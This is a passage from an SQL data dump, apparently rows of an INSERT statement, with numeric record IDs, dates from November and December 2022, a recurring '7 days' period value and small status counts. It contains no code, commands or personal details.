days',0),(71247,15177,13152,13353,1456,667,'2022-11-03','7 days',0),(71248,15176,13152,13353,1456,667,'2022-11-03','7 days',0),(71249,14805,13152,13353,1456,667,'2022-11-03','7 days',2),(71250,14767,13152,13353,1456,667,'2022-11-03','7 days',0),(71251,14766,13152,13353,1456,667,'2022-11-03','7 days',0),(71252,14765,13152,13353,1456,667,'2022-11-03','7 days',1),(71253,14764,13152,13353,1456,667,'2022-11-03','7 days',2),(71254,17074,13151,13351,1456,667,'2022-11-03','7 days',1),(71255,15399,13151,13351,1456,667,'2022-11-03','7 days',0),(71256,15398,13151,13351,1456,667,'2022-11-03','7 days',1),(71257,15397,13151,13351,1456,667,'2022-11-03','7 days',1),(71258,15396,13151,13351,1456,667,'2022-11-03','7 days',0),(71259,15187,13151,13351,1456,667,'2022-11-03','7 days',0),(71260,15186,13151,13351,1456,667,'2022-11-03','7 days',1),(71261,15185,13151,13351,1456,667,'2022-11-03','7 days',0),(71262,15184,13151,13351,1456,667,'2022-11-03','7 days',0),(71263,15183,13151,13351,1456,667,'2022-11-03','7 days',1),(71264,15182,13151,13351,1456,667,'2022-11-03','7 days',1),(71265,17074,13150,13351,1456,667,'2022-11-03','7 days',1),(71266,15182,13150,13351,1456,667,'2022-11-03','7 days',1),(71267,15181,13150,13351,1456,667,'2022-11-03','7 days',0),(71268,15180,13150,13351,1456,667,'2022-11-03','7 days',0),(71269,15179,13150,13351,1456,667,'2022-11-03','7 days',0),(71270,15178,13150,13351,1456,667,'2022-11-03','7 days',0),(71271,15177,13150,13351,1456,667,'2022-11-03','7 days',0),(71272,15176,13150,13351,1456,667,'2022-11-03','7 days',0),(71273,14805,13150,13351,1456,667,'2022-11-03','7 days',0),(71274,14767,13150,13351,1456,667,'2022-11-03','7 days',0),(71275,14766,13150,13351,1456,667,'2022-11-03','7 days',0),(71276,14765,13150,13351,1456,667,'2022-11-03','7 days',1),(71277,14764,13150,13351,1456,667,'2022-11-03','7 days',0),(71278,9154,13133,13332,1452,91,'2022-11-03','7 days',1),(71279,9135,13133,13332,1452,91,'2022-11-03','7 days',1),(71280,9134,13133,13332,1452,91,'2022-11-03','7 days',1),(71281,9133,13133,13332,1452,91,'2022-11-03','7 days',1),(71282,7287,13133,13332,1452,91,'2022-11-03','7 days',1),(71283,7286,13133,13332,1452,91,'2022-11-03','7 days',1),(71284,21534,13125,13324,1439,86,'2022-11-04','7 days',0),(71285,21528,13125,13324,1439,86,'2022-11-04','7 days',1),(71286,21364,13125,13324,1439,86,'2022-11-04','7 days',0),(71287,21363,13125,13324,1439,86,'2022-11-04','7 days',0),(71288,21362,13125,13324,1439,86,'2022-11-04','7 days',2),(71289,12269,13154,13354,1394,86,'2022-11-05','7 days',0),(71290,12268,13154,13354,1394,86,'2022-11-05','7 days',0),(71291,12267,13154,13354,1394,86,'2022-11-05','7 days',0),(71292,12266,13154,13354,1394,86,'2022-11-05','7 days',2),(71293,12265,13154,13354,1394,86,'2022-11-05','7 days',0),(71294,20696,13156,13356,1740,1020,'2022-11-05','7 days',0),(71295,20695,13156,13356,1740,1020,'2022-11-05','7 days',0),(71296,20696,13158,13358,1740,1020,'2022-11-05','7 days',0),(71297,20695,13158,13358,1740,1020,'2022-11-05','7 days',0),(71298,20696,13159,13359,1740,1020,'2022-11-05','7 days',0),(71299,20695,13159,13359,1740,1020,'2022-11-05','7 days',0),(71300,21375,4071,5275,1406,971,'2022-11-05','7 days',1),(71301,14534,13149,13350,194,45,'2022-11-07','7 days',1),(71302,12532,13149,13350,194,45,'2022-11-07','7 days',1),(71303,5467,13149,13350,194,45,'2022-11-07','7 days',1),(71304,1989,13149,13350,194,45,'2022-11-07','7 days',1),(71305,20789,13154,13354,1394,86,'2022-11-15','7 days',0),(71306,20731,13154,13354,1394,86,'2022-11-15','7 days',0),(71307,20730,13154,13354,1394,86,'2022-11-15','7 days',0),(71308,20666,13154,13354,1394,86,'2022-11-15','7 days',0),(71309,20665,13154,13354,1394,86,'2022-11-15','7 days',0),(71310,21378,13168,13373,160,73,'2022-11-15','7 days',1),(71311,21319,13168,13373,160,73,'2022-11-15','7 days',0),(71312,21318,13168,13373,160,73,'2022-11-15','7 days',0),(71313,21317,13168,13373,160,73,'2022-11-15','7 days',0),(71314,21316,13168,13373,160,73,'2022-11-15','7 days',0),(71315,21534,13154,13354,1394,86,'2022-11-16','7 days',0),(71316,21528,13154,13354,1394,86,'2022-11-16','7 days',1),(71317,21364,13154,13354,1394,86,'2022-11-16','7 days',0),(71318,21363,13154,13354,1394,86,'2022-11-16','7 days',0),(71319,21362,13154,13354,1394,86,'2022-11-16','7 days',0),(71320,21315,13168,13373,160,73,'2022-11-16','7 days',0),(71321,21314,13168,13373,160,73,'2022-11-16','7 days',0),(71322,21313,13168,13373,160,73,'2022-11-16','7 days',0),(71323,21312,13168,13373,160,73,'2022-11-16','7 days',0),(71324,21311,13168,13373,160,73,'2022-11-16','7 days',0),(71325,642,13168,13373,160,73,'2022-11-16','7 days',0),(71326,640,13168,13373,160,73,'2022-11-16','7 days',0),(71327,639,13168,13373,160,73,'2022-11-16','7 days',0),(71328,637,13168,13373,160,73,'2022-11-16','7 days',0),(71329,636,13168,13373,160,73,'2022-11-16','7 days',0),(71330,629,13168,13373,160,73,'2022-11-16','7 days',0),(71331,7308,13131,13330,1452,91,'2022-11-16','7 days',2),(71332,7307,13131,13330,1452,91,'2022-11-16','7 days',0),(71333,7306,13131,13330,1452,91,'2022-11-16','7 days',2),(71334,7305,13131,13330,1452,91,'2022-11-16','7 days',0),(71335,7304,13131,13330,1452,91,'2022-11-16','7 days',0),(71336,7303,13131,13330,1452,91,'2022-11-16','7 days',0),(71337,7147,13131,13330,1452,91,'2022-11-16','7 days',0),(71338,7146,13131,13330,1452,91,'2022-11-16','7 days',0),(71339,7145,13131,13330,1452,91,'2022-11-16','7 days',0),(71340,7143,13131,13330,1452,91,'2022-11-16','7 days',0),(71341,7142,13131,13330,1452,91,'2022-11-16','7 days',0),(71342,7140,13131,13330,1452,91,'2022-11-16','7 days',0),(71343,7138,13131,13330,1452,91,'2022-11-16','7 days',0),(71344,9154,13130,13329,1452,91,'2022-11-17','7 days',1),(71345,9135,13130,13329,1452,91,'2022-11-17','7 days',1),(71346,9134,13130,13329,1452,91,'2022-11-17','7 days',1),(71347,9133,13130,13329,1452,91,'2022-11-17','7 days',1),(71348,7287,13130,13329,1452,91,'2022-11-17','7 days',1),(71349,7286,13130,13329,1452,91,'2022-11-17','7 days',1),(71350,17412,13169,13374,1012,91,'2022-11-18','7 days',1),(71351,7022,13169,13374,1012,91,'2022-11-18','7 days',0),(71352,11715,13164,13031,194,45,'2022-11-21','7 days',1),(71353,11714,13164,13031,194,45,'2022-11-21','7 days',1),(71354,21495,13160,13360,194,45,'2022-11-22','7 days',0),(71355,21494,13160,13360,194,45,'2022-11-22','7 days',1),(71356,21493,13160,13360,194,45,'2022-11-22','7 days',1),(71357,21492,13160,13360,194,45,'2022-11-22','7 days',0),(71358,21491,13160,13360,194,45,'2022-11-22','7 days',0),(71359,20438,13163,13364,1594,277,'2022-11-22','7 days',0),(71360,20437,13163,13364,1594,277,'2022-11-22','7 days',0),(71361,21544,13168,13373,160,73,'2022-11-23','7 days',0),(71362,21529,13168,13373,160,73,'2022-11-23','7 days',1),(71363,21377,13168,13373,160,73,'2022-11-23','7 days',2),(71364,9012,13168,13373,160,73,'2022-11-23','7 days',0),(71365,9010,13168,13373,160,73,'2022-11-23','7 days',0),(71366,8785,13168,13373,160,73,'2022-11-23','7 days',0),(71367,8782,13168,13373,160,73,'2022-11-23','7 days',0),(71368,652,13168,13373,160,73,'2022-11-23','7 days',0),(71369,651,13168,13373,160,73,'2022-11-23','7 days',0),(71370,644,13168,13373,160,73,'2022-11-23','7 days',0),(71371,643,13168,13373,160,73,'2022-11-23','7 days',0),(71372,641,13168,13373,160,73,'2022-11-23','7 days',2),(71373,638,13168,13373,160,73,'2022-11-23','7 days',0),(71374,635,13168,13373,160,73,'2022-11-23','7 days',0),(71375,630,13168,13373,160,73,'2022-11-23','7 days',0),(71376,11360,13155,13355,1732,667,'2022-11-23','7 days',0),(71377,11359,13155,13355,1732,667,'2022-11-23','7 days',0),(71378,11358,13155,13355,1732,667,'2022-11-23','7 days',0),(71379,11357,13155,13355,1732,667,'2022-11-23','7 days',0),(71380,11356,13155,13355,1732,667,'2022-11-23','7 days',0),(71381,11355,13155,13355,1732,667,'2022-11-23','7 days',1),(71382,11354,13155,13355,1732,667,'2022-11-23','7 days',0),(71383,11353,13155,13355,1732,667,'2022-11-23','7 days',1),(71384,11352,13155,13355,1732,667,'2022-11-23','7 days',0),(71385,11351,13155,13355,1732,667,'2022-11-23','7 days',0),(71386,17074,13153,13352,1456,667,'2022-11-23','7 days',1),(71387,15399,13153,13352,1456,667,'2022-11-23','7 days',0),(71388,15398,13153,13352,1456,667,'2022-11-23','7 days',1),(71389,15397,13153,13352,1456,667,'2022-11-23','7 days',1),(71390,15396,13153,13352,1456,667,'2022-11-23','7 days',0),(71391,15187,13153,13352,1456,667,'2022-11-23','7 days',0),(71392,15186,13153,13352,1456,667,'2022-11-23','7 days',1),(71393,15185,13153,13352,1456,667,'2022-11-23','7 days',0),(71394,11360,13066,13264,1456,667,'2022-11-23','7 days',0),(71395,11359,13066,13264,1456,667,'2022-11-23','7 days',0),(71396,11358,13066,13264,1456,667,'2022-11-23','7 days',0),(71397,11357,13066,13264,1456,667,'2022-11-23','7 days',0),(71398,11356,13066,13264,1456,667,'2022-11-23','7 days',0),(71399,11355,13066,13264,1456,667,'2022-11-23','7 days',1),(71400,11354,13066,13264,1456,667,'2022-11-23','7 days',0),(71401,11353,13066,13264,1456,667,'2022-11-23','7 days',1),(71402,11352,13066,13264,1456,667,'2022-11-23','7 days',0),(71403,11351,13066,13264,1456,667,'2022-11-23','7 days',0),(71404,18838,13183,13388,1783,975,'2022-11-23','7 days',1),(71405,18427,13183,13388,1783,975,'2022-11-23','7 days',0),(71406,18426,13183,13388,1783,975,'2022-11-23','7 days',0),(71407,18425,13183,13388,1783,975,'2022-11-23','7 days',0),(71408,18424,13183,13388,1783,975,'2022-11-23','7 days',0),(71409,18423,13183,13388,1783,975,'2022-11-23','7 days',0),(71410,18422,13183,13388,1783,975,'2022-11-23','7 days',0),(71411,21531,13142,13343,1070,326,'2022-11-24','7 days',0),(71412,17546,13142,13343,1070,326,'2022-11-24','7 days',1),(71413,9797,13142,13343,1070,326,'2022-11-24','7 days',0),(71414,9796,13142,13343,1070,326,'2022-11-24','7 days',0),(71415,9795,13142,13343,1070,326,'2022-11-24','7 days',0),(71416,9720,13142,13343,1070,326,'2022-11-24','7 days',0),(71417,9719,13142,13343,1070,326,'2022-11-24','7 days',2),(71418,7421,13142,13343,1070,326,'2022-11-24','7 days',0),(71419,7420,13142,13343,1070,326,'2022-11-24','7 days',0),(71420,7419,13142,13343,1070,326,'2022-11-24','7 days',0),(71421,7418,13142,13343,1070,326,'2022-11-24','7 days',0),(71422,7417,13142,13343,1070,326,'2022-11-24','7 days',0),(71423,7416,13142,13343,1070,326,'2022-11-24','7 days',0),(71424,7415,13142,13343,1070,326,'2022-11-24','7 days',0),(71425,21374,13174,13379,194,45,'2022-11-24','7 days',1),(71426,14534,13174,13379,194,45,'2022-11-24','7 days',1),(71427,12532,13174,13379,194,45,'2022-11-24','7 days',1),(71428,12531,13174,13379,194,45,'2022-11-24','7 days',1),(71429,11715,13174,13379,194,45,'2022-11-24','7 days',1),(71430,14051,13189,13394,1070,326,'2022-11-25','7 days',0),(71431,12897,13189,13394,1070,326,'2022-11-25','7 days',0),(71432,12875,13189,13394,1070,326,'2022-11-25','7 days',0),(71433,9805,13189,13394,1070,326,'2022-11-25','7 days',0),(71434,9803,13189,13394,1070,326,'2022-11-25','7 days',0),(71435,9802,13189,13394,1070,326,'2022-11-25','7 days',0),(71436,9801,13189,13394,1070,326,'2022-11-25','7 days',0),(71437,9800,13189,13394,1070,326,'2022-11-25','7 days',0),(71438,9798,13189,13394,1070,326,'2022-11-25','7 days',0),(71439,21463,13186,13391,1784,959,'2022-11-25','7 days',0),(71440,17213,13186,13391,1784,959,'2022-11-25','7 days',1),(71441,17211,13186,13391,1784,959,'2022-11-25','7 days',1),(71442,14071,13186,13391,1784,959,'2022-11-25','7 days',1),(71443,17213,13185,13390,1785,959,'2022-11-25','7 days',0),(71444,17211,13185,13390,1785,959,'2022-11-25','7 days',1),(71445,14071,13185,13390,1785,959,'2022-11-25','7 days',1),(71446,17213,13180,13385,1786,959,'2022-11-25','7 days',0),(71447,17211,13180,13385,1786,959,'2022-11-25','7 days',1),(71448,14071,13180,13385,1786,959,'2022-11-25','7 days',1),(71449,17213,13179,13384,1787,959,'2022-11-25','7 days',0),(71450,17211,13179,13384,1787,959,'2022-11-25','7 days',1),(71451,14071,13179,13384,1787,959,'2022-11-25','7 days',1),(71452,18502,13190,13396,1783,975,'2022-11-25','7 days',1),(71453,18415,13190,13396,1783,975,'2022-11-25','7 days',0),(71454,18414,13190,13396,1783,975,'2022-11-25','7 days',0),(71455,18413,13190,13396,1783,975,'2022-11-25','7 days',0),(71456,18412,13190,13396,1783,975,'2022-11-25','7 days',0),(71457,18411,13190,13396,1783,975,'2022-11-25','7 days',1),(71458,18410,13190,13396,1783,975,'2022-11-25','7 days',0),(71459,18409,13190,13396,1783,975,'2022-11-25','7 days',0),(71460,18408,13190,13396,1783,975,'2022-11-25','7 days',0),(71461,18407,13190,13396,1783,975,'2022-11-25','7 days',0),(71462,18406,13190,13396,1783,975,'2022-11-25','7 days',0),(71463,14051,13111,13309,1070,326,'2022-11-25','7 days',0),(71464,12897,13111,13309,1070,326,'2022-11-25','7 days',0),(71465,12875,13111,13309,1070,326,'2022-11-25','7 days',0),(71466,9805,13111,13309,1070,326,'2022-11-25','7 days',0),(71467,9803,13111,13309,1070,326,'2022-11-25','7 days',0),(71468,9802,13111,13309,1070,326,'2022-11-25','7 days',0),(71469,9801,13111,13309,1070,326,'2022-11-25','7 days',0),(71470,9800,13111,13309,1070,326,'2022-11-25','7 days',0),(71471,9798,13111,13309,1070,326,'2022-11-25','7 days',0),(71472,14051,13060,13257,1068,326,'2022-11-25','7 days',0),(71473,12897,13060,13257,1068,326,'2022-11-25','7 days',0),(71474,12875,13060,13257,1068,326,'2022-11-25','7 days',0),(71475,9805,13060,13257,1068,326,'2022-11-25','7 days',0),(71476,9803,13060,13257,1068,326,'2022-11-25','7 days',0),(71477,9802,13060,13257,1068,326,'2022-11-25','7 days',0),(71478,9801,13060,13257,1068,326,'2022-11-25','7 days',0),(71479,9800,13060,13257,1068,326,'2022-11-25','7 days',0),(71480,9798,13060,13257,1068,326,'2022-11-25','7 days',0),(71481,18502,13187,13392,1783,975,'2022-11-26','7 days',1),(71482,18415,13187,13392,1783,975,'2022-11-26','7 days',0),(71483,18414,13187,13392,1783,975,'2022-11-26','7 days',0),(71484,18413,13187,13392,1783,975,'2022-11-26','7 days',0),(71485,18412,13187,13392,1783,975,'2022-11-26','7 days',0),(71486,18411,13187,13392,1783,975,'2022-11-26','7 days',1),(71487,18410,13187,13392,1783,975,'2022-11-26','7 days',0),(71488,18409,13187,13392,1783,975,'2022-11-26','7 days',0),(71489,18408,13187,13392,1783,975,'2022-11-26','7 days',0),(71490,18407,13187,13392,1783,975,'2022-11-26','7 days',0),(71491,18406,13187,13392,1783,975,'2022-11-26','7 days',0),(71492,15181,13198,13403,1732,667,'2022-11-28','7 days',2),(71493,15180,13198,13403,1732,667,'2022-11-28','7 days',0),(71494,15179,13198,13403,1732,667,'2022-11-28','7 days',0),(71495,15178,13198,13403,1732,667,'2022-11-28','7 days',0),(71496,15177,13198,13403,1732,667,'2022-11-28','7 days',2),(71497,15176,13198,13403,1732,667,'2022-11-28','7 days',0),(71498,14805,13198,13403,1732,667,'2022-11-28','7 days',0),(71499,14767,13198,13403,1732,667,'2022-11-28','7 days',0),(71500,14766,13198,13403,1732,667,'2022-11-28','7 days',0),(71501,14765,13198,13403,1732,667,'2022-11-28','7 days',1),(71502,14764,13198,13403,1732,667,'2022-11-28','7 days',2),(71503,14051,13199,13404,1069,326,'2022-11-29','7 days',0),(71504,12897,13199,13404,1069,326,'2022-11-29','7 days',0),(71505,12875,13199,13404,1069,326,'2022-11-29','7 days',0),(71506,9805,13199,13404,1069,326,'2022-11-29','7 days',0),(71507,9803,13199,13404,1069,326,'2022-11-29','7 days',0),(71508,9802,13199,13404,1069,326,'2022-11-29','7 days',0),(71509,9801,13199,13404,1069,326,'2022-11-29','7 days',0),(71510,9800,13199,13404,1069,326,'2022-11-29','7 days',0),(71511,9798,13199,13404,1069,326,'2022-11-29','7 days',0),(71512,21374,13206,13031,194,45,'2022-11-29','7 days',1),(71513,14534,13206,13031,194,45,'2022-11-29','7 days',1),(71514,12532,13206,13031,194,45,'2022-11-29','7 days',1),(71515,12531,13207,13031,194,45,'2022-11-29','7 days',1),(71516,11715,13207,13031,194,45,'2022-11-29','7 days',1),(71517,11714,13207,13031,194,45,'2022-11-29','7 days',1),(71518,12900,13208,13411,193,45,'2022-11-29','7 days',0),(71519,12867,13208,13411,193,45,'2022-11-29','7 days',1),(71520,12776,13208,13411,193,45,'2022-11-29','7 days',0),(71521,12274,13215,13417,1705,91,'2022-11-30','7 days',1),(71522,12273,13215,13417,1705,91,'2022-11-30','7 days',1),(71523,12264,13215,13417,1705,91,'2022-11-30','7 days',1),(71524,12263,13215,13417,1705,91,'2022-11-30','7 days',1),(71525,10011,13204,13409,359,251,'2022-12-01','7 days',0),(71526,10010,13204,13409,359,251,'2022-12-01','7 days',0),(71527,10009,13204,13409,359,251,'2022-12-01','7 days',0),(71528,10008,13204,13409,359,251,'2022-12-01','7 days',0),(71529,10007,13204,13409,359,251,'2022-12-01','7 days',0),(71530,10006,13204,13409,359,251,'2022-12-01','7 days',0),(71531,10005,13204,13409,359,251,'2022-12-01','7 days',0),(71532,10004,13204,13409,359,251,'2022-12-01','7 days',0),(71533,10003,13204,13409,359,251,'2022-12-01','7 days',0),(71534,10002,13204,13409,359,251,'2022-12-01','7 days',0),(71535,9931,13204,13409,359,251,'2022-12-01','7 days',0),(71536,9930,13204,13409,359,251,'2022-12-01','7 days',0),(71537,9929,13204,13409,359,251,'2022-12-01','7 days',0),(71538,9928,13204,13409,359,251,'2022-12-01','7 days',0),(71539,9927,13204,13409,359,251,'2022-12-01','7 days',0),(71540,9926,13204,13409,359,251,'2022-12-01','7 days',0),(71541,9925,13204,13409,359,251,'2022-12-01','7 days',0),(71542,9924,13204,13409,359,251,'2022-12-01','7 days',0),(71543,9923,13204,13409,359,251,'2022-12-01','7 days',0),(71544,9922,13204,13409,359,251,'2022-12-01','7 days',0),(71545,16861,13205,13410,1674,251,'2022-12-01','7 days',0),(71546,16780,13205,13410,1674,251,'2022-12-01','7 days',0),(71547,16779,13205,13410,1674,251,'2022-12-01','7 days',0),(71548,16777,13205,13410,1674,251,'2022-12-01','7 days',0),(71549,16776,13205,13410,1674,251,'2022-12-01','7 days',0),(71550,16775,13205,13410,1674,251,'2022-12-01','7 days',0),(71551,16774,13205,13410,1674,251,'2022-12-01','7 days',0),(71552,16773,13205,13410,1674,251,'2022-12-01','7 days',0),(71553,16772,13205,13410,1674,251,'2022-12-01','7 days',0),(71554,16771,13205,13410,1674,251,'2022-12-01','7 days',0),(71555,16770,13205,13410,1674,251,'2022-12-01','7 days',0),(71556,16769,13205,13410,1674,251,'2022-12-01','7 days',0),(71557,16768,13205,13410,1674,251,'2022-12-01','7 days',0),(71558,16716,13205,13410,1674,251,'2022-12-01','7 days',0),(71559,16715,13205,13410,1674,251,'2022-12-01','7 days',0),(71560,16714,13205,13410,1674,251,'2022-12-01','7 days',0),(71561,16701,13205,13410,1674,251,'2022-12-01','7 days',0),(71562,16700,13205,13410,1674,251,'2022-12-01','7 days',0),(71563,16699,13205,13410,1674,251,'2022-12-01','7 days',0),(71564,16698,13205,13410,1674,251,'2022-12-01','7 days',0),(71565,16697,13205,13410,1674,251,'2022-12-01','7 days',0),(71566,16696,13205,13410,1674,251,'2022-12-01','7 days',0),(71567,16695,13205,13410,1674,251,'2022-12-01','7 days',0),(71568,9111,13209,13412,357,251,'2022-12-01','7 days',1),(71569,9110,13209,13412,357,251,'2022-12-01','7 days',0),(71570,9109,13209,13412,357,251,'2022-12-01','7 days',0),(71571,9108,13209,13412,357,251,'2022-12-01','7 days',0),(71572,9107,13209,13412,357,251,'2022-12-01','7 days',0),(71573,9111,13200,13405,358,251,'2022-12-01','7 days',1),(71574,9110,13200,13405,358,251,'2022-12-01','7 days',0),(71575,9109,13200,13405,358,251,'2022-12-01','7 days',0),(71576,9108,13200,13405,358,251,'2022-12-01','7 days',0),(71577,9107,13200,13405,358,251,'2022-12-01','7 days',0),(71578,14051,13218,13420,1068,326,'2022-12-02','7 days',0),(71579,12897,13218,13420,1068,326,'2022-12-02','7 days',0),(71580,12875,13218,13420,1068,326,'2022-12-02','7 days',1),(71581,9805,13218,13420,1068,326,'2022-12-02','7 days',0),(71582,9803,13218,13420,1068,326,'2022-12-02','7 days',0),(71583,9802,13218,13420,1068,326,'2022-12-02','7 days',0),(71584,9801,13218,13420,1068,326,'2022-12-02','7 days',0),(71585,9800,13218,13420,1068,326,'2022-12-02','7 days',0),(71586,9798,13218,13420,1068,326,'2022-12-02','7 days',0),(71587,9805,13217,13419,1068,326,'2022-12-02','7 days',0),(71588,9803,13217,13419,1068,326,'2022-12-02','7 days',0),(71589,9802,13217,13419,1068,326,'2022-12-02','7 days',0),(71590,9801,13217,13419,1068,326,'2022-12-02','7 days',0),(71591,9798,13217,13419,1068,326,'2022-12-02','7 days',0),(71592,12532,13221,13031,194,45,'2022-12-05','7 days',1),(71593,5467,13221,13031,194,45,'2022-12-05','7 days',1),(71594,8795,13213,13416,190,45,'2022-12-05','7 days',1),(71595,1000,13213,13416,190,45,'2022-12-05','7 days',0),(71596,12274,13229,13435,1452,91,'2022-12-05','7 days',1),(71597,12273,13229,13435,1452,91,'2022-12-05','7 days',1),(71598,12264,13229,13435,1452,91,'2022-12-05','7 days',1),(71599,12263,13229,13435,1452,91,'2022-12-05','7 days',1),(71600,11360,13248,13452,1370,667,'2022-12-07','7 days',0),(71601,11357,13248,13452,1370,667,'2022-12-07','7 days',0),(71602,11356,13248,13452,1370,667,'2022-12-07','7 days',0),(71603,11355,13248,13452,1370,667,'2022-12-07','7 days',1),(71604,11354,13248,13452,1370,667,'2022-12-07','7 days',0),(71605,20792,13251,13455,222,85,'2022-12-07','7 days',0),(71606,11446,13251,13455,222,85,'2022-12-07','7 days',0),(71607,11445,13251,13455,222,85,'2022-12-07','7 days',0),(71608,11444,13251,13455,222,85,'2022-12-07','7 days',0),(71609,11443,13251,13455,222,85,'2022-12-07','7 days',0),(71610,20792,13250,13454,222,85,'2022-12-07','7 days',0),(71611,11446,13250,13454,222,85,'2022-12-07','7 days',0),(71612,11445,13250,13454,222,85,'2022-12-07','7 days',0),(71613,20792,13249,13453,222,85,'2022-12-07','7 days',0),(71614,11446,13249,13453,222,85,'2022-12-07','7 days',0),(71615,20792,13247,13451,222,85,'2022-12-07','7 days',0),(71616,11446,13247,13451,222,85,'2022-12-07','7 days',0),(71617,17723,13248,13452,1370,667,'2022-12-08','7 days',0),(71618,17722,13248,13452,1370,667,'2022-12-08','7 days',0),(71619,17721,13248,13452,1370,667,'2022-12-08','7 days',1),(71620,17720,13248,13452,1370,667,'2022-12-08','7 days',0),(71621,17719,13248,13452,1370,667,'2022-12-08','7 days',0),(71622,17718,13248,13452,1370,667,'2022-12-08','7 days',0),(71623,17717,13248,13452,1370,667,'2022-12-08','7 days',0),(71624,17716,13248,13452,1370,667,'2022-12-08','7 days',0),(71625,17715,13248,13452,1370,667,'2022-12-08','7 days',0),(71626,17714,13248,13452,1370,667,'2022-12-08','7 days',0),(71627,17713,13248,13452,1370,667,'2022-12-08','7 days',2),(71628,17712,13248,13452,1370,667,'2022-12-08','7 days',0),(71629,17711,13248,13452,1370,667,'2022-12-08','7 days',0),(71630,17710,13248,13452,1370,667,'2022-12-08','7 days',0),(71631,17709,13248,13452,1370,667,'2022-12-08','7 days',0),(71632,17708,13248,13452,1370,667,'2022-12-08','7 days',2),(71633,17707,13248,13452,1370,667,'2022-12-08','7 days',0),(71634,17706,13248,13452,1370,667,'2022-12-08','7 days',0),(71635,17705,13248,13452,1370,667,'2022-12-08','7 days',0),(71636,17704,13248,13452,1370,667,'2022-12-08','7 days',0),(71637,17680,13248,13452,1370,667,'2022-12-08','7 days',0),(71638,17679,13248,13452,1370,667,'2022-12-08','7 days',0),(71639,17678,13248,13452,1370,667,'2022-12-08','7 days',0),(71640,17677,13248,13452,1370,667,'2022-12-08','7 days',0),(71641,17676,13248,13452,1370,667,'2022-12-08','7 days',0),(71642,17675,13248,13452,1370,667,'2022-12-08','7 days',0),(71643,17674,13248,13452,1370,667,'2022-12-08','7 days',0),(71644,17673,13248,13452,1370,667,'2022-12-08','7 days',0),(71645,17672,13248,13452,1370,667,'2022-12-08','7 days',0),(71646,17671,13248,13452,1370,667,'2022-12-08','7 days',0),(71647,17670,13248,13452,1370,667,'2022-12-08','7 days',0),(71648,17669,13248,13452,1370,667,'2022-12-08','7 days',0),(71649,17668,13248,13452,1370,667,'2022-12-08','7 days',0),(71650,17667,13248,13452,1370,667,'2022-12-08','7 days',0),(71651,17666,13248,13452,1370,667,'2022-12-08','7 days',0),(71652,17665,13248,13452,1370,667,'2022-12-08','7 days',0),(71653,17664,13248,13452,1370,667,'2022-12-08','7 days',0),(71654,17663,13248,13452,1370,667,'2022-12-08','7 days',0),(71655,17662,13248,13452,1370,667,'2022-12-08','7 days',0),(71656,17661,13248,13452,1370,667,'2022-12-08','7 days',0),(71657,17660,13248,13452,1370,667,'2022-12-08','7 days',0),(71658,17659,13248,13452,1370,667,'2022-12-08','7 days',0),(71659,17658,13248,13452,1370,667,'2022-12-08','7 days',0),(71660,17657,13248,13452,1370,667,'2022-12-08','7 days',0),(71661,17656,13248,13452,1370,667,'2022-12-08','7 days',0),(71662,17655,13248,13452,1370,667,'2022-12-08','7 days',0),(71663,17654,13248,13452,1370,667,'2022-12-08','7 days',0),(71664,17653,13248,13452,1370,667,'2022-12-08','7 days',0),(71665,17652,13248,13452,1370,667,'2022-12-08','7 days',0),(71666,17651,13248,13452,1370,667,'2022-12-08','7 days',1),(71667,17649,13248,13452,1370,667,'2022-12-08','7 days',0),(71668,17648,13248,13452,1370,667,'2022-12-08','7 days',0),(71669,17646,13248,13452,1370,667,'2022-12-08','7 days',0),(71670,17644,13248,13452,1370,667,'2022-12-08','7 days',0),(71671,17643,13248,13452,1370,667,'2022-12-08','7 days',0),(71672,17640,13248,13452,1370,667,'2022-12-08','7 days',2),(71673,17638,13248,13452,1370,667,'2022-12-08','7 days',0),(71674,17636,13248,13452,1370,667,'2022-12-08','7 days',0),(71675,17634,13248,13452,1370,667,'2022-12-08','7 days',0),(71676,20090,13317,13488,1732,667,'2022-12-16','7 days',0),(71677,20089,13317,13488,1732,667,'2022-12-16','7 days',0),(71678,20088,13317,13488,1732,667,'2022-12-16','7 days',0),(71679,20087,13317,13488,1732,667,'2022-12-16','7 days',0),(71680,20086,13317,13488,1732,667,'2022-12-16','7 days',0),(71681,20085,13317,13488,1732,667,'2022-12-16','7 days',0),(71682,20084,13317,13488,1732,667,'2022-12-16','7 days',0),(71683,11360,13292,13499,1732,667,'2022-12-16','7 days',0),(71684,11359,13292,13499,1732,667,'2022-12-16','7 days',0),(71685,11358,13292,13499,1732,667,'2022-12-16','7 days',0),(71686,11357,13292,13499,1732,667,'2022-12-16','7 days',0),(71687,11356,13292,13499,1732,667,'2022-12-16','7 days',0),(71688,11359,13281,13489,1732,667,'2022-12-16','7 days',0),(71689,11358,13281,13489,1732,667,'2022-12-16','7 days',0),(71690,11357,13281,13489,1732,667,'2022-12-16','7 days',0),(71691,11356,13281,13489,1732,667,'2022-12-16','7 days',0),(71692,11354,13280,13490,1732,667,'2022-12-16','7 days',0),(71693,11353,13280,13490,1732,667,'2022-12-16','7 days',1),(71694,11352,13280,13490,1732,667,'2022-12-16','7 days',0),(71695,11351,13280,13490,1732,667,'2022-12-16','7 days',0),(71696,18838,13312,13522,1410,975,'2022-12-16','7 days',1),(71697,18427,13312,13522,1410,975,'2022-12-16','7 days',0),(71698,18426,13312,13522,1410,975,'2022-12-16','7 days',0),(71699,18425,13312,13522,1410,975,'2022-12-16','7 days',2),(71700,18424,13312,13522,1410,975,'2022-12-16','7 days',0),(71701,18423,13312,13522,1410,975,'2022-12-16','7 days',0),(71702,18422,13312,13522,1410,975,'2022-12-16','7 days',0),(71703,21476,13311,13521,1783,975,'2022-12-16','7 days',1),(71704,21475,13311,13521,1783,975,'2022-12-16','7 days',1),(71705,20788,13311,13521,1783,975,'2022-12-16','7 days',1),(71706,18830,13311,13521,1783,975,'2022-12-16','7 days',0),(71707,17409,13311,13521,1783,975,'2022-12-16','7 days',1),(71708,17408,13311,13521,1783,975,'2022-12-16','7 days',0),(71709,17407,13311,13521,1783,975,'2022-12-16','7 days',0),(71710,17406,13311,13521,1783,975,'2022-12-16','7 days',1),(71711,17405,13311,13521,1783,975,'2022-12-16','7 days',1),(71712,17404,13311,13521,1783,975,'2022-12-16','7 days',0),(71713,17403,13311,13521,1783,975,'2022-12-16','7 days',0),(71714,17391,13311,13521,1783,975,'2022-12-16','7 days',0),(71715,17390,13311,13521,1783,975,'2022-12-16','7 days',0),(71716,17389,13311,13521,1783,975,'2022-12-16','7 days',0),(71717,17388,13311,13521,1783,975,'2022-12-16','7 days',0),(71718,17387,13311,13521,1783,975,'2022-12-16','7 